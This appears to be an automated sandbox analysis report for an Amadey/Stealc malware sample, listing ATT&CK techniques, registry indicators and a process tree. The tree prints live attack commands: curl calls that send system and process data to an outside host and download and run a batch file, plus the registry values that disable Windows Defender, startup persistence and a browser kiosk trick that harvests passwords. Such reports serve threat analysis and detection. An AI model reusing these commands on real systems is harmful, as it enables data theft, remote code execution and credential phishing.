amadey | 603d16acc5d25ee1ac8bdab71a0a68138bd2b2ad119206966101dc7c26749075

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	4I088w.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	4I088w.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	4I088w.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	4I088w.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	4I088w.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	4I088w.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1T31G9.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2y3019.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3S32A.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	4I088w.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 10 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4I088w.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4I088w.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1T31G9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3S32A.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3S32A.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1T31G9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2y3019.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2y3019.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	skotes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	1T31G9.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	cmd.exe

Executes dropped EXE 12 IoCs

pid	Process
5052	B0q89.exe
2428	R8P62.exe
4936	1T31G9.exe
2552	skotes.exe
3228	2y3019.exe
1744	3S32A.exe
4024	M5iFR20.exe
3232	4I088w.exe
740	IGEaNGi.exe
5076	IGEaNGi.exe
872	TdDkUco.exe
1616	pcrndBC.exe

Identifies Wine through registry keys 2 TTPs 5 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine	2y3019.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine	3S32A.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine	4I088w.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine	1T31G9.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	4I088w.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	4I088w.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	603d16acc5d25ee1ac8bdab71a0a68138bd2b2ad119206966101dc7c26749075.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	B0q89.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	R8P62.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0008000000023bac-49.dat	autoit_exe
behavioral1/files/0x000d000000023bee-173.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
2612	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
4936	1T31G9.exe
2552	skotes.exe
3228	2y3019.exe
1744	3S32A.exe
3232	4I088w.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 740 set thread context of 5076	740	IGEaNGi.exe	116

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	1T31G9.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
1584	872	WerFault.exe	124
4272	1616	WerFault.exe	126
4288	6204	Process not Found	166
255028	6908	Process not Found	176

System Location Discovery: System Language Discovery 1 TTPs 22 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3S32A.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TdDkUco.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pcrndBC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	603d16acc5d25ee1ac8bdab71a0a68138bd2b2ad119206966101dc7c26749075.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	B0q89.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2y3019.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IGEaNGi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1T31G9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4I088w.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	R8P62.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	M5iFR20.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IGEaNGi.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	TdDkUco.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	TdDkUco.exe

Delays execution with timeout.exe 2 IoCs

pid	Process
4660	timeout.exe
4060	timeout.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4672	systeminfo.exe

Kills process with taskkill 5 IoCs

pid	Process
4020	taskkill.exe
4676	taskkill.exe
1348	taskkill.exe
3660	taskkill.exe
1924	taskkill.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4936	1T31G9.exe
4936	1T31G9.exe
2552	skotes.exe
2552	skotes.exe
3228	2y3019.exe
3228	2y3019.exe
1744	3S32A.exe
1744	3S32A.exe
3232	4I088w.exe
3232	4I088w.exe
3232	4I088w.exe
3232	4I088w.exe
872	TdDkUco.exe
872	TdDkUco.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2612	tasklist.exe
Token: SeDebugPrivilege	3232	4I088w.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4024	M5iFR20.exe
4024	M5iFR20.exe
4024	M5iFR20.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
4024	M5iFR20.exe
4024	M5iFR20.exe
4024	M5iFR20.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4464 wrote to memory of 5052	4464	603d16acc5d25ee1ac8bdab71a0a68138bd2b2ad119206966101dc7c26749075.exe	83
PID 4464 wrote to memory of 5052	4464	603d16acc5d25ee1ac8bdab71a0a68138bd2b2ad119206966101dc7c26749075.exe	83
PID 4464 wrote to memory of 5052	4464	603d16acc5d25ee1ac8bdab71a0a68138bd2b2ad119206966101dc7c26749075.exe	83
PID 5052 wrote to memory of 2428	5052	B0q89.exe	84
PID 5052 wrote to memory of 2428	5052	B0q89.exe	84
PID 5052 wrote to memory of 2428	5052	B0q89.exe	84
PID 2428 wrote to memory of 4936	2428	R8P62.exe	107
PID 2428 wrote to memory of 4936	2428	R8P62.exe	107
PID 2428 wrote to memory of 4936	2428	R8P62.exe	107
PID 4936 wrote to memory of 2552	4936	1T31G9.exe	86
PID 4936 wrote to memory of 2552	4936	1T31G9.exe	86
PID 4936 wrote to memory of 2552	4936	1T31G9.exe	86
PID 2428 wrote to memory of 3228	2428	R8P62.exe	87
PID 2428 wrote to memory of 3228	2428	R8P62.exe	87
PID 2428 wrote to memory of 3228	2428	R8P62.exe	87
PID 5052 wrote to memory of 1744	5052	B0q89.exe	89
PID 5052 wrote to memory of 1744	5052	B0q89.exe	89
PID 5052 wrote to memory of 1744	5052	B0q89.exe	89
PID 2552 wrote to memory of 4024	2552	skotes.exe	90
PID 2552 wrote to memory of 4024	2552	skotes.exe	90
PID 2552 wrote to memory of 4024	2552	skotes.exe	90
PID 4024 wrote to memory of 4304	4024	M5iFR20.exe	91
PID 4024 wrote to memory of 4304	4024	M5iFR20.exe	91
PID 4024 wrote to memory of 4304	4024	M5iFR20.exe	91
PID 4304 wrote to memory of 4672	4304	cmd.exe	93
PID 4304 wrote to memory of 4672	4304	cmd.exe	93
PID 4304 wrote to memory of 4672	4304	cmd.exe	93
PID 4464 wrote to memory of 3232	4464	603d16acc5d25ee1ac8bdab71a0a68138bd2b2ad119206966101dc7c26749075.exe	255
PID 4464 wrote to memory of 3232	4464	603d16acc5d25ee1ac8bdab71a0a68138bd2b2ad119206966101dc7c26749075.exe	255
PID 4464 wrote to memory of 3232	4464	603d16acc5d25ee1ac8bdab71a0a68138bd2b2ad119206966101dc7c26749075.exe	255
PID 4304 wrote to memory of 2612	4304	cmd.exe	99
PID 4304 wrote to memory of 2612	4304	cmd.exe	99
PID 4304 wrote to memory of 2612	4304	cmd.exe	99
PID 2552 wrote to memory of 740	2552	skotes.exe	100
PID 2552 wrote to memory of 740	2552	skotes.exe	100
PID 2552 wrote to memory of 740	2552	skotes.exe	100
PID 4024 wrote to memory of 5112	4024	M5iFR20.exe	102
PID 4024 wrote to memory of 5112	4024	M5iFR20.exe	102
PID 4024 wrote to memory of 5112	4024	M5iFR20.exe	102
PID 4024 wrote to memory of 1144	4024	M5iFR20.exe	105
PID 4024 wrote to memory of 1144	4024	M5iFR20.exe	105
PID 4024 wrote to memory of 1144	4024	M5iFR20.exe	105
PID 4024 wrote to memory of 4224	4024	M5iFR20.exe	110
PID 4024 wrote to memory of 4224	4024	M5iFR20.exe	110
PID 4024 wrote to memory of 4224	4024	M5iFR20.exe	110
PID 4024 wrote to memory of 4456	4024	M5iFR20.exe	111
PID 4024 wrote to memory of 4456	4024	M5iFR20.exe	111
PID 4024 wrote to memory of 4456	4024	M5iFR20.exe	111
PID 4024 wrote to memory of 2208	4024	M5iFR20.exe	115
PID 4024 wrote to memory of 2208	4024	M5iFR20.exe	115
PID 4024 wrote to memory of 2208	4024	M5iFR20.exe	115
PID 740 wrote to memory of 5076	740	IGEaNGi.exe	116
PID 740 wrote to memory of 5076	740	IGEaNGi.exe	116
PID 740 wrote to memory of 5076	740	IGEaNGi.exe	116
PID 740 wrote to memory of 5076	740	IGEaNGi.exe	116
PID 740 wrote to memory of 5076	740	IGEaNGi.exe	116
PID 740 wrote to memory of 5076	740	IGEaNGi.exe	116
PID 740 wrote to memory of 5076	740	IGEaNGi.exe	116
PID 740 wrote to memory of 5076	740	IGEaNGi.exe	116
PID 740 wrote to memory of 5076	740	IGEaNGi.exe	116
PID 740 wrote to memory of 5076	740	IGEaNGi.exe	116
PID 4024 wrote to memory of 620	4024	M5iFR20.exe	119
PID 4024 wrote to memory of 620	4024	M5iFR20.exe	119
PID 4024 wrote to memory of 620	4024	M5iFR20.exe	119

C:\Users\Admin\AppData\Local\Temp\603d16acc5d25ee1ac8bdab71a0a68138bd2b2ad119206966101dc7c26749075.exe
"C:\Users\Admin\AppData\Local\Temp\603d16acc5d25ee1ac8bdab71a0a68138bd2b2ad119206966101dc7c26749075.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4464
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\B0q89.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\B0q89.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5052
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\R8P62.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\R8P62.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2428
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1T31G9.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1T31G9.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4936
    - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2552
      - C:\Users\Admin\AppData\Local\Temp\1014081001\M5iFR20.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014081001\M5iFR20.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:4024
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4304
        
        C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo
        8⤵
        System Location Discovery: System Language Discovery
        Gathers system information
        
        PID:4672
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2612
        
        C:\Windows\SysWOW64\curl.exe
        
        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F47554D4C4E4C46452F41646D696E2F32" -H "X-Sec-Id: 0" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5112
        
        C:\Windows\SysWOW64\curl.exe
        
        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F47554D4C4E4C46452F41646D696E2F32" -H "X-Sec-Id: 3" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1144
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c type "C:\Users\Admin\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"
        7⤵
        Drops startup file
        System Location Discovery: System Language Discovery
        
        PID:4224
        
        C:\Windows\SysWOW64\curl.exe
        
        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F47554D4C4E4C46452F41646D696E2F32" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4456
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\tmp.bat" > C:\Users\Admin\AppData\Local\Temp\tmp.txt
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2208
        
        C:\Windows\SysWOW64\curl.exe
        
        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F47554D4C4E4C46452F41646D696E2F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:620
        
        C:\Windows\SysWOW64\curl.exe
        
        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F47554D4C4E4C46452F41646D696E2F32" -H "X-Sec-Id: 3" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
        7⤵
        
        PID:6340
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c type "C:\Users\Admin\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"
        7⤵
        
        PID:6512
        
        C:\Windows\SysWOW64\curl.exe
        
        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F47554D4C4E4C46452F41646D696E2F32" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
        7⤵
        
        PID:6524
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\tmp.bat" > C:\Users\Admin\AppData\Local\Temp\tmp.txt
        7⤵
        
        PID:7112
        
        C:\Windows\SysWOW64\curl.exe
        
        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F47554D4C4E4C46452F41646D696E2F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
        7⤵
        
        PID:1152
      - C:\Users\Admin\AppData\Local\Temp\1014305001\IGEaNGi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014305001\IGEaNGi.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:740
        
        C:\Users\Admin\AppData\Local\Temp\1014305001\IGEaNGi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014305001\IGEaNGi.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5076
      - C:\Users\Admin\AppData\Local\Temp\1014321001\TdDkUco.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014321001\TdDkUco.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:872
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1014321001\TdDkUco.exe" & rd /s /q "C:\ProgramData\XT0RIWTJM7GV" & exit
        7⤵
        
        PID:4860
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        8⤵
        Delays execution with timeout.exe
        
        PID:4660
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 872 -s 2188
        7⤵
        Program crash
        
        PID:1584
      - C:\Users\Admin\AppData\Local\Temp\1014323001\pcrndBC.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014323001\pcrndBC.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1616
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1014323001\pcrndBC.exe" & rd /s /q "C:\ProgramData\AS2N7900ZU3E" & exit
        7⤵
        
        PID:2472
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        8⤵
        Delays execution with timeout.exe
        
        PID:4060
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1616 -s 2164
        7⤵
        Program crash
        
        PID:4272
      - C:\Users\Admin\AppData\Local\Temp\1014331001\72912bbd6a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014331001\72912bbd6a.exe"
        6⤵
        
        PID:2944
      - C:\Users\Admin\AppData\Local\Temp\1014332001\99e8e6494b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014332001\99e8e6494b.exe"
        6⤵
        
        PID:3244
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        7⤵
        Kills process with taskkill
        
        PID:4020
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        7⤵
        Kills process with taskkill
        
        PID:4676
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        7⤵
        Kills process with taskkill
        
        PID:1348
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        7⤵
        Kills process with taskkill
        
        PID:3660
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        7⤵
        Kills process with taskkill
        
        PID:1924
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        7⤵
        
        PID:3120
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        8⤵
        
        PID:3520
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1968 -parentBuildID 20240401114208 -prefsHandle 1884 -prefMapHandle 1876 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e40963b8-b589-4de4-a6a4-b15f8db93402} 3520 "\\.\pipe\gecko-crash-server-pipe.3520" gpu
        9⤵
        
        PID:2620
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2444 -parentBuildID 20240401114208 -prefsHandle 2436 -prefMapHandle 2416 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9bd66d44-05ff-4082-a630-8f1f7282ec70} 3520 "\\.\pipe\gecko-crash-server-pipe.3520" socket
        9⤵
        
        PID:372
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
